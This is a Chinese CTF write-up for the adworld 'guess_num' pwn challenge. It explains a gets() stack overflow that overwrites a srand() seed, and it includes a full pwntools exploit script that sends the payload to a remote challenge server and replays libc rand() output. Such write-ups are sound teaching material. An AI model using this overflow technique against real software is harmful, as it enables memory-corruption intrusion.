adworld-pwn-guess_num
程序员文章站
2022-05-19 10:01:35
...
本题考查知识点
- srand()函数和rand()函数的随机数生成规则
- gets()函数漏洞 – 实现栈溢出
check_sec
扔到IDA分析代码逻辑
srand()函数和rand()函数
前者设置随机种子,后者产生随机数
设置随机种子之后,随机数是循环产生的
从上图中可以看到v8和seed之间的位置关系,而v8是通过gets()函数输入的,我们可以通过栈溢出,从而达到设置seed的目的
- v8 占用0x20个字节
- seed 占用8个字节
所以我们构造下面的payload即可设置seed为0
payload = 'a' * 0x20 + p64(0)
确定了seed为0,如何循环产生相应的随机数呢?
该文件为 elf 文件
我们可以通过 pwntools 的ELF来看该程序运行时所加载的.so文件
从而将lib库导入进来,使用其rand()函数来生成随机数
from pwn import *
elf = ELF('./guess_num')
libc = elf.libc
可以知道该程序加载了
libc-2.31.so
文件
那么我们可以使用python的ctypes
库中的cdll
函数来加载该文件
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 46272)
# elf = ELF('./guess_num')
# libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc-2.31.so")
payload = bytes('a' * 0x20, encoding='utf8') + p64(0)
io.sendlineafter('Your name:', payload)
libc.srand(0)
for i in range(10):
msg = str(libc.rand() % 6 + 1)
io.sendlineafter('Please input your guess number:', msg)
io.interactive()
当然还有一种解法就是
写一份代码,其seed为0,然后生成10个随机数
用gcc编译,运行可以得到10个随机数
最后将这10个随机数依此输入就OK了